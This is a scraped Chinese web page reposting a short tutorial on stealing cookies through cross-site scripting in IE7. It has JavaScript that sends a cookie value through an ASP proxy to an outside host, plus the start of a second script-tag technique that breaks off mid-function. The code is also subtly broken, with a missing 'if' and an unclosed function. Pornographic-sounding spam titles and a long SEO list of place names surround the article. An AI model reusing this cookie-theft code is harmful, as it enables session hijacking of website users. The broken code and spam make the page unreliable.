国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > AJAX > 正文

ie7下利用ajax跨域盜取cookie的解決辦法

2024-09-01 08:29:34
字體:
來源:轉載
供稿:網友
研究了一下午,第一個難題是ajax跨域提交數據,可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script> 
function getXmlHttpRequest(){ 
       if(window.ActiveXObject){ 
            var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                 
            for(var i=0;i<ieArr.length;i++) 
                { 
                var xmlhttp= new ActiveXObject(ieArr[i]); 
                } 
                return xmlhttp; 
       } else if(window.XMLHttpRequest){ 
               return new XMLHttpRequest(); 
            }             

    var xmlHttp=getXmlHttpRequest(); 
    xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); 
    xmlHttp.send(null) 

</script> 

其中web.asp是一個asp代理。 

這樣直接訪問http://192.168.8.108/a.htm是可以成功發送數據的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。 

另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發送的情況下,經過搜索發現了另一種跨站的思路,不需要用iframe來跨域提交,代碼: 

<script LANGUAGE="Javascript" src="" id="get">  
</script>  
<script LANGUAGE="Javascript">  
<!--  
function get(url)  
    {  
        var obj = document.getElementById("get");  
        obj.src = url;  
        (obj.readStatus == 200)  
        {  
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 梁平县| 福泉市| 大港区| 康马县| 原阳县| 东乌珠穆沁旗| 图木舒克市| 大连市| 松桃| 温宿县| 曲麻莱县| 开原市| 格尔木市| 南昌县| 琼海市| 大理市| 江永县| 扎鲁特旗| 建瓯市| 龙海市| 潼南县| 蓬莱市| 鄂尔多斯市| 娄烦县| 维西| 阳泉市| 长岭县| 忻城县| 泉州市| 常宁市| 萨嘎县| 德钦县| 南通市| 襄汾县| 马山县| 赤峰市| 博湖县| 高阳县| 柘城县| 柳州市| 汕头市|